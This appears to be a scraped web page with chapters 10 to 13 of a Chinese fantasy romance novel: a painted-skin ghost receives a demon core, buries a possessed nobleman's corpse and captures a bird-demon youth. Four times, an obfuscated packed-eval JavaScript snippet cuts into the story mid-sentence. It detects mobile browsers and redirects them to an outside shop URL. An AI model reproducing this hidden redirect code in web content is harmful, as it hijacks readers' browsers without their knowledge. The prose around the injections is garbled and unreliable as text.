梦里的东西很像这藤蔓,却又不太一样,那种强烈而模糊的感觉涌上来,强大而压迫的力量仿佛要拉着她一起沉沦。 兰溪这么想着下意识地猛地将手抽回,她就像触电了一般,大力的甩开手,立刻向后退去。 这时,一只修长有力的手从旁边探过来,轻轻稳住了兰溪有些踉跄的身形,兰溪站稳后转身才发现是卫祁。 他不知何时已经来到了兰溪的身旁,目光先是冷冷地瞥了一眼被兰溪甩开的有些蜷缩起来的藤蔓,然后落在兰溪身上。 他眉头皱了皱,眼眸里闪过几分黯然,他发问:“怎么了?兰姑娘不喜欢它吗?” “呃……”兰溪有些尴尬,她知道那只是一株植物,又不知道该怎么解释,只好说:“也不是,就是它突然间缠上我的手指……有些吓人。” 听到兰溪的回答,卫祁沉默了片刻,目光看向那株藤蔓,带着些轻怨,低声轻斥一声:“讨嫌的东西……” 就这么一句低骂,兰溪却莫名地听出了一些闷闷的委屈意味,也不知道是在骂谁。 “若你不喜欢它,我这就把它砍了,它长得这样大,倒也能给你当个配菜吃。” 卫祁这样认真说着,转头就去找工具,墙角的藤蔓仿佛真听得懂人话,一听这话猛地瑟缩起来,老实地缩回墙面蜷缩抱团。 “哎,别!”兰溪现在可听不得“吃”这个字,她马上上前阻拦道:“我哪有说不喜欢到要砍了它的程度?就是被吓到了而已,而且谁知道这东西有没有毒?万一吃了出事了怎么办?” 说完,兰溪看了一眼墙角的藤蔓说:“就让它长在这里吧……反正也不碍事。” 卫祁这才停下手上的动作,抬眸看着兰溪,才顺从地点点头:“好吧,既然你说留它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202737|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那便留着。” 他一边说着,一边擦干净手,拿出了一个小物件,放到兰溪面前。 那是一颗浑圆剔透的珠子,是澄澈的明黄色,整颗珠子都散发着细微的光晕,莹润的光泽一看就不像凡品,珠子被钻了一个极细的小孔,用一根极细的深褐色小绳穿着,打成了一个别致的手链。 卫祁将手链递给兰溪,声音平静询问:“这个,兰姑娘喜欢吗?” 兰溪的视线立刻就被那珠子吸引,她小心的接过来,放在手上端详:“好漂亮的珠子?这是从何而来?” 卫祁平淡解释道:“我方才处理那只野鸡,从它的肚子里掏出来的,瞧着倒还别致,想着或许你喜欢,就拿来送给你。” “野鸡肚子里……还能掏出珠子?”兰溪一愣,觉得这事特别稀奇,她仔细打量其手上的珠子,心里觉得奇怪,但又觉得也不是不可能,或许是她没见过的某种矿石被野鸡误食了。 “还真是不常见的事,不过这珠子倒是好看。”兰溪嘀咕着,欣赏着把玩了两下,便将手链戴在了手腕上,明黄色的珠子衬得她的皮肤格外白皙。 她将手高高抬起,有些期待地问:“好看吗?” 卫祁的目光落在她的手腕上,他眉眼带笑点了点头,语气平淡开口:“你若是喜欢这样的珠子,日后我去找些更多的给你。” 兰溪只当他是随口一说开玩笑,笑着摇摇头:“哪能那么容易找到?这样的珠子能从野鸡肚子里得到一颗,都算是走运了。” 快到中饭时间了,兰溪也有些饿了,于是两人开始张罗午饭,到了厨房,兰溪很快就发现了一件事。 卫祁他似乎很不擅长做饭,虽然看他杀鸡放血的时候格外熟练,可是到了烹饪这个步骤,他就变得笨拙起来。 比如兰溪发现他似乎只会最基本的烹饪方法,就是用水煮,他似乎不知道该放多少水,也不知道什么时候该放盐,只是把肉块扔进锅里觉得差不多了就拿出来。 “等等,血水要处理一下!” “这水加的太多吧?” “火太大了!肉要焦了!” 兰溪在一旁看的有些傻眼,忍不住出声指导,最后只好直接上手示范,一步步教卫祁该怎么做。 她觉得卫祁就像几百年没吃过饭一样,连食物熟没熟的标准都不知道,不过转念一想,毕竟他是个书生,恐怕以前没下过厨房。 不过令兰溪感到欣慰的是,卫祁学习能力强大的惊人,他就安静地站在一旁看着,听着兰溪的讲解,他几乎是一看就会了。 等兰溪讲的差不多再让他去做,他明显有了章法,最终,在两个人的共同努力下,做出了一锅香气扑鼻的野鸡汤被摆上了木桌。 饭菜很简单,但对于兰溪来说,已经很温暖美味了,更别提这是他们第一次,在这个小院吃上的第一餐。 吃饭时兰溪看着单调的菜,想起在厨房里的兵荒马乱,忍不住笑道:“看来以后,得常买些菜蔬米面,毕竟野味也不常有。” 卫祁正用筷子不太熟练的夹菜,闻言顿了顿,抬头道:“那你以后每日想吃什么菜就和我说,我去买。” 这句话问得很平常,但在兰溪看来,仿佛默认了以后她以后都会在这里吃饭,而卫祁会去买她爱吃的菜。 11. 且听春 兰溪心里泛起一圈隐秘的欢喜,她强压起翘起的嘴角,低头喝了口汤,然后说。 “好啊,我倒是知道很多别人不知道的菜式,以后还可以慢慢教给你。” 兰溪开始畅想,或许可以在这个世界复刻一些原来世界的美食,创造出一些她熟悉的味道。 阳光正好,小小的院落安宁平静,墙角的藤蔓懒洋洋地缩起来晒太阳。 卫祁看着兰溪笑盈盈的眼角,眼里多了几分暖意,他轻轻“嗯”了一声,又夹了一块肉放在兰溪碗里。 * 下午闲来无事,兰溪回了一趟倚香阁,本想着去找嫣娘,但是看到师父正在教其他师姐画皮,看到徒弟学不会,脸气得通红的样子,兰溪悻悻地自觉退了出来。 其他师姐都忙得很,兰溪找了一圈,只剩下柳梢一只鬼懒洋洋地窝在后院的秋千上,大白天的不知道在举头伤怀什么。 兰溪干脆把她拉了出来,一起上街采买东西,顺便也和这个看似有些不正经,实则偶尔说出些歪理的师姐谈谈心事。 “噗!哈哈哈哈哈!”柳梢毫无预兆地发出了一阵清脆的笑声,引来路人频频回头,她却毫不在意,只是用团扇掩住嘴巴,笑得花枝乱颤。 “我的好师妹呀!你刚刚说什么?再说一遍……你说你勾引的那个书生,还求着你吃他?” 此时二人正站在金陵城的市集大街上,人流熙攘,刚刚一路上,兰溪把这几天和卫祁相处的事情絮絮和柳梢说起。 柳梢听得津津有味,到了关键处更是笑弯了腰,柳梢的笑声引得旁边卖菜的大娘都好奇地望过来,兰溪尴尬症都要犯了。 “师姐,你小点声。”兰溪只能偷偷地扯了扯柳梢的袖子。 柳梢笑完了,挥了挥手上的团扇感慨道:“我修行快百年了,听过男人求财求色求功名的,头一回听男人说上赶着让妖怪吃自己!” “卫祁……他大概不知道我的身份,所以对我没有戒备罢了。”兰溪解释道。 “要我说啊,小师妹”柳梢忽然笑着靠近,调侃道:“这男人啊,甭管他看着多正经,多清高,骨子里都是一样的。” 柳梢用扇子轻轻刮过兰溪那张鬼画符一样的脸:“兴许你勾引的那书生就喜欢你这般样子,觉得你这张脸别具风情,说不准有些男人就馋这一口,虽说你脸画崩了,他照样把持不住!” “师姐!”兰溪被调侃得有些不好意思了。 “好了好了,不逗你啦!”柳梢见兰溪这副样子,见好就收,她用扇子轻轻拍了拍兰溪的肩膀发问。 “那你接下来打算怎么办呢?你总要找个理由和他住到一起去吧!” 兰溪正想着这事,她立刻道:“师姐,我正愁这个呢,就是不知道接下来怎么办。” “接下来?那还不简单!”柳梢凑近一些,轻声道:“要我说,今晚你就把自己洗干净,剥了衣裳,钻到他的被窝里去,孤男寡女……还有什么事成不了?保管他以后什么书生架子都没有了,只能任你揉圆搓扁!” 兰溪听得目瞪口呆,她脸有些发红,左右看了看小声道:“师姐,你……你胡说八道什么呢?这我……哪做得出来?” 柳梢看了一眼兰溪,翻了一个娇俏的白眼:“我的傻师妹,你不主动些,这事怎么能成呢?” 柳梢打量了一眼兰溪,想了想叹气:“看你这样子,怕是豁不出去,我给你支个别的招,你今天回去就跟他把婚事提了。” “婚事?”兰溪有些愣住。 “对呀!你不是跟他说你是倚香阁的舞女吗?正好,你就说你想从良,以后就想跟他好好过日子,但是阁里的妈妈不肯放人,还要一笔赎身银子,然后让他想办法筹钱去赎你!” 柳梢的眼睛亮晶晶的,闪烁着对金钱的热爱:“到时候我跟几个师姐就向他大开口,狠狠坑他一笔!然后你跟他成婚,找个时机吸了他的阳气把他吃了,两全其美!” 兰溪听了皱了皱眉头:“他一个落魄书生,连过日子的钱都不够……哪来的赎身钱。” “那就要看他本事咯!”柳梢不以为意:“一个男人连赎你的钱都弄不来,还谈什么以后?” 兰溪沉默着不说话,柳梢看了她一眼。 “你呀,就是脸皮太薄,心太好了!”柳梢说着,像是想到了什么,带了几分烦躁。 “说起来,我前几日盯上一个还不错的货色,不知道打哪来了个多管闲事的臭修士,给我搅黄了!可别让我再碰见他!” 柳梢又叹了口气:“而且最近也不知道怎么了,城里水鬼闹得很凶,我也没心情找猎物了,害得我最近闲得很,只能陪你在这逛逛大街了。” 兰溪想着柳梢给自己的提议,提出成婚确实是个好主意,她正想着,手腕不经意从袖口间露出,手上戴着的那颗银黄色的珠子流转着光泽。 “呦!好亮眼的珠子!男人送的?”柳梢眼很尖,一把抓过兰溪的手腕,凑近细看。 “是卫祁给我的,他说从野鸡肚子里掏出来,看着好看,就穿起来送我。”兰溪如实道。 “野鸡肚子里?”柳梢一脸不可思议,她仔细打量那珠子,拿到鼻尖嗅了嗅,脸上的嬉笑之色收敛,随即眉头微微蹙起。 “我的傻师妹……”柳梢放下兰溪的手腕,面色微妙:“这可不是什么普通的石头,虽说我道行不高,可我却觉得这更像妖怪的妖丹,虽说拿不准是什么妖,但这妖来头应该不小。” “妖丹?”兰溪有些惊讶,下意识地用手摸了摸手腕上的珠子。 她仔细回想道:“我见过那只野鸡,好像确实和其他的野鸡长得不太一样,羽毛的颜色要鲜亮得多,体型也不小。” 她当时只觉得奇怪,但卫祁处理得太快太利落,她也没来得及细看,那野鸡就变成到嘴的肉了。 “所以那只野鸡,其实是一只妖?还掉在我们院子里?” 柳梢噗嗤一笑,拿团扇遮面,眼波流转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202738|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就开始调侃:“呦!这才住一天呢,我们院子都说上了?” 看柳梢又开始逗她,兰溪瞪了柳梢一眼。 “好好好,不闹你了”柳梢戏谑道:“照你的说法,你勾引的那书生真是走了泼天大运,出门就看见大妖栽在自己院子里,还白捡了颗妖丹,炖了锅鸡汤,这福气,凡人几辈子可都修不来的。” 兰溪也觉得这事不可思议,她回想道:“我当时确实听到动静,可是出来的时候,并没有看到任何打斗痕迹,卫祁就只是提这一只已经死的野鸡。” “兴许是那只大妖受了伤,正好落在那被捡走了。”兰溪想来想去,只能想出这一个解释,不然怎么解释卫祁一个普通书生拿出一颗妖丹这么离谱的事。 柳梢却不是很关心东西是怎么来的,她盯着妖丹道:“不管怎么样,你都是白得了颗妖丹,这东西我看着不差,可惜像我们这样道行浅薄的小鬼,根本没办法从里面吸取妖力,吞又吞不下,炼也炼不了,只能当个摆件看。” 柳梢眼睛一亮:“要我说,你回头找个机会把这玩意转手卖了,在这金陵城里有的是修士愿意高价回收妖丹,你不是正愁那书生没钱来赎你吗?” 兰溪想了想,还是把珠子塞回袖子里:“可这毕竟是卫祁送我的东西,我随便卖了,实在不好,就算要卖我也要先和他说一下。” “行吧行吧,随你。”柳梢见兰溪这样子,摆了摆手:“反正你戴着也好看……傻师妹。” 兰溪和柳梢一直沿着大街漫无目的地走,走着走着便在一处临水的石桥边寻了个凉阴处处坐下。 远处湖面水汽飘渺,垂柳依依,画舫如织,身旁行人络绎不绝。 兰溪坐下之后便觉得有些不对,不知道为什么,总觉得有人在看她,她四处看了看,却什么也没有。 “怎么了?”柳梢开口问。 “没什么,就是觉得……我总觉得有人在看我们。”兰溪回答。 柳梢却摇了摇扇子,笑道:“那有什么奇怪的?我画的这张脸美若天仙,有人看不是很正常吗?” 兰溪还是心里觉得异样,她想拉着柳梢离开。 这时,街角突然冲出了一个身影,一个发髻散乱的男人,直直地朝两人冲过来,嘴里还发出似哭似笑的呜咽声。 还没等两人反应,那男人已经扑通一声跪在地上,双手死死的抱住柳梢的大腿。 “娘子!我可算找到你了!你为什么不要我?为什么?”那男人抱住柳梢,就开始撕心裂肺的哭嚎,涕泪横流。 “不是?你谁啊?”柳梢整个人都傻了,团扇掉在了地上。 “滚开!我警告你我可不是什么好人!还有男人敢来找老娘的麻烦?”她拼命的大叫,想把人推开,可那男人死死抱着柳梢的大腿就是不松手。 “我已经把我的一切都给你了!我所有的钱都给你了!你为什么还要离开我?你不是答应我要嫁给我吗?你跟我回去好不好?跟我走吧!” 12. 且听春 那男人疯疯癫癫,哭得声嘶力竭,他穿着一身昂贵绸衫却也磨得破败不堪,脸上乌青一片,两个眼珠像是要瞪出来,眼里的血混着眼泪在枯瘦的脸上流出,血水晕开了一片。 四周的人群一下子就围了上来,看热闹的人围里三层外三层,都伸长了脖子看着那男人抱着柳梢不放。 “这是闹哪出啊?” “还能是哪出?情债呗。” “这娘子生得倒是俊,难怪那男人疯成这样。” “哎呦!可怜哟,什么都给人家了,家底都掏空了。” 柳梢的脸气得一阵红一阵白,她急得踹人:“我不认识他!喂你死人啊快松手,再不松手我可咬你了!” 柳梢是真的咬了,她抓起那男人的手就咬下去,血珠流了出来,那男人却毫无知觉的样子,只是死死地抱着柳梢嚎哭。 兰溪被围观的人群挤到了一旁,她起初焦急地想去帮柳梢,却被那男人挥舞的手臂挡开。 兰溪总觉得这男人很怪异,他面色发黑,双眼流血,神志不清,眼里没有一点光晕,说话就像被人抓着向外挤出的。 就在人群涌动间,兰溪在人群里依稀听到了一个极低的声音,那声音轻得像是从牙缝里发出来的,带着些恼火。 “蠢货!不是那个漂亮的!是旁边那个丑的!抱错人了!” 兰溪立马警觉了起来,她顺着人群想看声音到底是谁发出来的,可是下一瞬,那抱着柳梢的疯男人,立刻松开柳梢的大腿,然后转身“啪”立刻抱住兰溪的大腿。 然后那疯男人发出一声更凄厉的哀号:“娘子!我可算是找到你了!你为什么不要我?你这副丑样子,我都认不出你了!” 兰溪:“……” 围观群众立刻发出一阵骚动。 “唉唉唉!怎么换人了?” “到底哪个才是他相好啊?” “那还用问!肯定啦两个都是啊!漂亮的看腻了,还可以看看那个丑的!” “嚯!大户人家的品味就是不一般!” 兰溪低头看着那个抱着自己的疯男人,她有些崩溃:“我也不认识你啊!” “娘子,你怎么会不认识我?昨晚在梦里,你给我唱过歌的!”男人抱着兰溪的腿,就像牛皮糖一样越缠越紧。 兰溪甩不掉那男人,她深吸一口气,抬起头望向人群,想把刚才人群里听到的那个声音揪出来,隐约在人群里看到一个戴着斗笠的人影。 那人手指掐诀轻轻一挥,那疯男人就抬起脸,伸手就去摸兰溪手腕上的珠子,兰溪打掉那男人的手,立刻护住手腕上的妖丹。 兰溪攥紧了拳头,这人不是冲着师姐来的,明显就是冲着她来的。 她很想冲到人群里,把那个鬼鬼祟祟的东西揪出来,可她一动,抱着她的这个疯男人就被拖行着,嚎叫不止。 “你不能走!不能丢下我!跟我回家吧!”男人死死抱着兰溪哀求。 旁边的路人有人出来劝道:“哎呦,这位娘子,你若是他的相好就跟他回去吧,他哭得这样惨!” 柳梢这时缓过神来,看清了那男人的脸,她脸色一变,有些惊愕。 “让一让!都让一让!”柳梢挤开人群冲了上去,一把薅起男人的后领,脸上堆起假笑,声音夹得发甜:“郎君,咱们借一步说话,别在这丢人现眼了!” 柳梢使了些力气,硬生生地把那男人拖了起来,半扶半拽地就拖向旁边的小巷子,男人还在哭嚎不断地回头:“娘子你别走!别走!” “走你个头!给我进去!”柳梢伸脚一踹,就把人踹进巷子里。 兰溪甩开了那男人,立刻就冲到人群里抓人,那戴斗笠的人一闪而过,她逆着人流,朝他消失的方向追去,可那身影已了无踪迹。 她有些不甘心,却只好折返回去。 兰溪回去时,柳梢已经把那男人拉进了一个无人的小巷里,柳梢把那个疯男人摁在墙边,男人还在抽噎,血泪糊了一脸。 那疯男人嘴里断断续续,含糊不清,唱起了一段小调:“春水暖,桃花开……春神赐我桃花枝……万家井,神女名……春神予我长生期……长生……” 在安静无人的小巷里,男人的声音嘶哑空洞,咿咿呀呀地唱起。 哼到最后两个字的时候,他突然痛苦地仰起头,一口血顺着嘴流了下来,大口大口的鲜血往外涌,他直愣愣地盯着灰白的天空,突然开始癫狂般地大笑。 “哈哈哈、哈哈、哈哈哈……” 他笑着笑着,像是被人掐着喉咙断了气,整个人像被抽去骨头,软软地倒在地上,再没了动静。 兰溪低头看去,发现那男人的身上脖颈手腕处,缓缓出现一道道青紫色的纹理,像是被绳索勒过的痕迹,青色的纹理透着古怪死气。 “师姐……”兰溪有点看傻了,她慢慢转过头看向柳梢问:“你杀他干啥?” “不是!我什么也没干!”柳梢把手举到半空,一脸无辜:“我就按了他一下!它自己死的!” “那他怎么死的?” “我怎么知道?他哼那破歌哼死的吧!” 兰溪和柳梢两个人大眼瞪小眼,一起低头看着那疯男人的尸体。 兰溪稍微冷静了一点发问:“这人到底是谁啊?一开始我还真以为是你以前的情债找上门来了!” “冤枉啊!我柳梢就算对全天下的男人下手,也绝对、绝对不会对他下手!”柳梢满脸冤屈的模样。 “你认识他?”兰溪一愣。 柳梢沉默一会,点了点头,她蹲下身,伸手拨开男人脸上凌乱的发丝,露出男人本来的面容。 “他是当朝太傅李兆安的孙子李崇文,我见过他几次,李兆安每年春社都会去城郊祈灵庙祭拜,我……会偷偷跟着,远远看一眼,这李崇文,总是搀着他祖父。” 柳梢顿了顿,又道:“在一个月前,李崇文就失踪了,太傅府把金陵城翻了个底朝天,活不见人,死不见尸。” 兰溪脑子里嗡的一声,她声音干巴巴的:“你是说?当朝太傅失踪了一个月的嫡孙,现在死在我们俩手上了?” 她低头看了看自己裙子上沾上的一摊血迹,又看了看地上死状诡异的太傅府公子,沉默了好一会儿。 “所以……我们现在怎么办?” 柳梢抬起头,认真道:“要不……咱们把他送回太傅府去?” 兰溪以为自己听错了,她看向柳梢:“师姐……你突然发什么善心?他已经死了!就算不是我们杀的,像我们这样的小鬼,把尸体往太傅府门口一丢,那不是去送死吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202739|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?直接人赃并获,明天就被缉妖司送去填河!” 柳梢张了张嘴,没话说了。 兰溪想到在人群里那个可疑的人,咬咬牙道:“都怪那个鬼鬼祟祟的人,一定是他在幕后搞鬼,刚刚就差一步我就把他揪出来了!” 兰溪正懊悔着,无意中摸到了手上的那个妖丹,想起那个可疑人似乎操控这个男人来摸自己手上的妖丹。 “师姐……那人应该是奔着我来的,猜得没错的话,他是奔着我手上这颗妖丹来的。” 柳梢会意:“看来是有人故意把人送到我们这了……若是奔着你手上的妖丹,这一次没得手,肯定会有下一次。” “对,他没得手,一定会再来,我们干脆把他引出来。”兰溪把那颗妖丹攥进手心里。 柳梢意味深长地看了一眼李崇文的尸体,眉眼垂下来:“嗯,不过……也找个地方好好安葬他吧。” * 夜色已深,河边近郊的荒地上树影婆娑,在这片偏僻的河滩旁,两个人影正拿着铲子此起彼伏地挖土。 “我不行了!”柳梢把铲子往地上一扔,一屁股坐在旁边的石头上,累得喘气:“累死了!我这辈子都没干过这种粗活。” 兰溪头也不抬,只是吭哧吭哧地干活:“你还说呢,我以前更没干过。” “我看你挺熟练的。” “熟练个鬼,还能怎么办呢?”兰溪愤愤地拿铲子往土里一扎。 柳梢在旁边托着腮,看着兰溪挖,想到了什么,幽幽开口:“其实死人也不是非要埋的,城里黑市有个孙二娘,专收新鲜尸体做人肉包子,给钱爽快,还不问来处。” “……师姐” “嗯?” “你平时都是这么处理尸体的?” “对啊。” 兰溪沉默了,她低头看了看沾满泥土的手,又看了看旁边死不瞑目的李太傅嫡孙,一时不知道该说什么。 柳梢没把尸体卖去做人肉包子,已经是她的道德巅峰了。 这都啥人啊? 兰溪还记得自己穿书之前是个看到路边流浪猫都要去喂食的善良女孩,现在穿书了倒好,画皮、勾引、现在还来挖坑拋尸。 坏事都让她干尽了! 兰溪又用力地挖了两铲土,开口问:“所以你为什么决定来埋尸?” 柳梢没有立刻回答,她看着李崇文那张在月光下苍白的脸,依稀能看到一点故人的轮廓。 “他祖父都八十多了。”她声音很轻,像是说给自己听:“总得让他有个地方,能让老人家找到。” 夜风吹过河畔,吹得芦苇沙沙作响。 兰溪没有过多追问,她只是把铲子往土里一扎,用力一撬。 “行了,坑挖得差不多了。”她喘着粗气:“来搭把手吧。” 柳梢不情不愿地站起来,正准备帮忙去抬尸体,这时有一阵风带着凛冽的寒意吹过树林。 “叮铃——” 树林里传来一阵清脆的铃铛声,兰溪和柳梢同时听到,意识到有人来了。 兰溪无声地向柳梢递了个眼神,柳梢心领神会,将手上的铲子一松,悄无声息地埋伏进了暗处。 兰溪则独自站在原地,看向声音的来处,远处树梢上,不知何时多了一个人影。 13. 且听春 那人立在最高的枝头上,衣袂被风吹起,看身形像个少年,穿一身靛青锦袍,头上斗笠压得很低,腰间系一串银铃,还点缀几张明黄的符纸。 他清了清嗓子,将声音压得很低:“咳……月黑风高,你们两只画皮鬼竟在这杀人埋尸,被我抓个现行!” 他说完想从兰溪的脸上看到一些惊慌失措的表情,但是兰溪没动,只是静静地看着他。 少年又拿出手上佩剑,装模作样大声道:“看本座今日不捉拿你们!” 兰溪平淡开口:“你是修士?” 那少年扬起下巴道:“对,降妖除魔,惩恶扬善,见尔等小鬼在此作恶,本座岂能坐视不理?” 兰溪打量了一番那少年,确认就是白天那个鬼鬼祟祟躲在人群里的人,低头取下手腕上的妖丹,然后把明黄色的珠子高高举起,对着树上的身影晃了晃。 “你是想要这个吧?” 那树上的身影明显一顿。 “此物……你这小鬼是从何而来?想来你所得来也不正,今日你若愿意将它交于本座,本座可念你年幼无知,饶你不死!” 兰溪轻轻笑了笑。 “那你来拿吧。”兰溪摆摆手:“我就站在这里。” 见到兰溪这样,那少年皱了皱眉头,沉默了一会,还是拔出腰间佩剑。 “既然如此,那就别怪本座不客气了!” 少年拔出剑后,便从树上一跃而下,快步向前,伸手想直取兰溪手上的妖丹。 兰溪只是站在原地,笑得更深了。 就在少年纵身落地的一刹那,一道黑影从旁边的草丛中扑出,带着攻击的寒光闪到他面前。 柳梢此时獠牙毕露,指甲暴长如刃,美艳的脸上鬼气森森,挥着利爪就向少年抓去。 “啊!”少年惊叫着躲过了一爪,踉跄着后退,但柳梢下一式更快,利爪破空的声音抓去,少年抬手用佩剑格挡,指甲削过剑身,发出刺耳的锐鸣。 少年的剑被打脱了手,打着旋儿飞出去插在地上,他整个人被也打得倒飞,还好他反应够快,立刻稳住身形落地。 他刚稳稳落地,突然觉得脚下一空。 “哗啦!”一张巨大的网从脚下的枯落叶中收网,少年整个人被罩了个严严实实,狼狈地捆作一团,像飞蛾一般挣扎着。 看到那少年落网,兰溪和柳梢对视一眼,不管三七二十一,先上去扑上去揍一顿再说。 一柱香后。 河滩边一棵歪脖子树下,结结实实的用绳子绑着那少年,他头上的斗笠不知到哪去了,露出了一张十七八岁的少年面容,头上乱成个鸡窝,脸上还留着一个巴掌印。 少年可怜巴巴地看着站在他面前的兰溪和柳梢,开始求饶:“两位画皮姐姐……饶了我吧,我再也不敢了。” 柳梢叉着腰,居高临下地端详他。 “是你啊……我说觉得你脸熟呢,前几天我盯上的肥羊,全都被你小子给搅黄了,没想到你还能落到我手上?” 少年眼神飘忽了一瞬,声音越来越小:“那都是误会……修行之人,替天行道嘛。” 柳梢做势又要打人,少年立刻闭眼:“别别别!我错了……饶命啊!” 兰溪拉开柳梢,向前站了一步,打量着那被绑成粽子的少年开口问:“所以白天在人群里鬼鬼祟祟跟着我们,还找我们麻烦的人就是你吧?” “是。”少年低着头承认了:“但我没想害你们,我就是想弄到你手上的妖丹,我若直接叫你们给我,你们定是不肯,我只能制造些混乱。” 兰溪看了一眼手腕上的妖丹问:“你为什么想要这个?” 少年开口:“我叫青羽,我是青鸾族第二百七十三代旁系,不久前我奉族中长辈之命来金陵寻找我族叔青溟,到这里后我感知他魂灯已灭,按照我族规定,我必须寻回他的妖身带回去。” “我在城里徘徊许久,也没有找到他的妖身,只在你身上感知到我族叔的妖丹。” 柳梢一愣:“上古青鸾族,你是妖?” “不然呢?你以为我是人修?”青羽抬起头:“我长的这么好看!” 兰溪和柳梢都沉默了一瞬。 青羽望着柳梢手腕上的那颗妖丹,询问:“你既然有他的妖丹,那你可知道他的妖身在哪?” 兰溪想起了吃的那一锅炖鸡汤,有些尴尬地张了张嘴:“他的妖身你可能找不回去了,倒是还剩了半只,我拿了罐子用盐腌着……如果你非要,端回去还有可能。” 青羽有些震惊的看向兰溪,愣了许久才开口:“我族叔青溟……半步化神的大妖,在族里也是排得上名号的大人物,你到底是什么人?” “……其实跟我没关系。”兰溪解释道:“我也不知道他怎么死的,要怪就怪你族叔,偏巧死在我院子里。” 青羽沉默了半天,最后还是接受了,低声道:“大概是他自己作死,我只是没想到……他死的这么家常口味。” “确实挺好吃的……”兰溪补充道。 柳梢在旁边抬头望天,没忍住笑出了声,又憋了回去。 青羽看了一眼兰溪手上的妖丹道:“反正人没了,追究也没用,但是他的妖丹我得带回去交差。” 兰溪有些动容,正低头想着,柳梢先一步跨到兰溪前面:“说给你就给你?你先是跑来偷,偷不成又想着来诓我们,现在一句话就想把东西拿走?” “小鸾鸟,这世上可没有这么便宜的事!”柳梢抱着胳膊盯着青羽。 青羽自知理亏,缩了缩脖子。 “我可以买,你们开个价吧,我们青鸾族不缺钱,多少钱都好商量。” 柳梢回头对兰溪挑了挑眉,兰溪垂眼看了看戴在手上的那颗珠子,想了一会开口:“我需要回去和一个人商量,商量好了再来找你。” 青羽眼睛一亮:“那你商量好了可一定要来找我。” “不过两位画皮姐姐,你们先把我身上的绳子解了吧!”青羽又看了一眼把自己绑成粽子的绳子。 “你想得美。”柳梢却瞪了青羽一眼,看了一眼旁边李崇文的尸体,认真问道:“你既然能操控李太傅的孙子来找我们麻烦,你和他什么关系?” “其实……也没什么关系。”青羽摇了摇头:“我追查我族叔的踪迹时,发现了此人,他身上被种下了我青鸾族的咒印,我便驱动咒印借着他的躯壳去接近你们。” 青羽看向李崇文的尸体:“但是我找到他的时候,他就已经是具行尸了,他身上确实古怪,我感知到了好几重咒术,除了我青鸾族的咒印,其他的我都分辨不出来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202740|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 兰溪想到了李崇文死前疯癫一样哼着一首小曲,于是便问:“我记得他断气前曾哼过几句词,词里隐隐有提到什么春神……” 柳梢摆摆手:“我活了一百多年也没听过那个破曲,更没听过什么春神。” 青羽却突然开口:“你说的春神,我倒是有所印象。” 两人齐齐看向青羽。 “在我青鸾族的藏书阁里,有一批从人间搜集的古籍残卷,其中有一卷叫《江南异闻录》,里面记载过这样一段话。” “千年前,江南大旱,赤地千里,草木尽枯,有一神君自山间而出,所到之处甘霖随行,枯木逢春,百姓感恩其德,奉为春神,立祠祭祀。但此名号仅于人间江南一隅,但在三界之内,并非如此……” 柳梢听了挑了挑眉:“还有这事?我倒是从来没听过,在金陵城春社年年都有,祭的是土地,农神,灶王爷……实在没听过什么春神。” “你说的春神,听着像哪个山精野怪修炼成精,被老百姓供起来。” “并不是……”青羽反驳了一句,但又不愿提及太多:“关于那位的故事很长……总之,是非善恶,我也分不清。” 兰溪认真听着,若有所思的低头。 这时,旁边的河面传来一声极轻的水响。 三人同时转头看去,发现原本离他们有一段距离的河水,悄无声息地漫了上来,黑色的河水快漫到几人的脚边。 兰溪低头一看,那漫上来的根本不是水,而是浓稠的黑液,缓缓上涨着,岸上的枯草迅速化为灰烬。 “这什么东西啊?恶心死了!”柳梢猛地跳起来大叫。 河面上缓缓起了白雾,蒸腾而起的白雾迅速蔓延开整片河滩,隔着雾气,河滩上影影绰绰,像是有东西在动。 兰溪仔细看过去,河面上缓缓升起无数人影,黑影漂浮在水面上,轮廓扭曲,隔着白雾一动不动,只是齐刷刷的盯着河岸上。 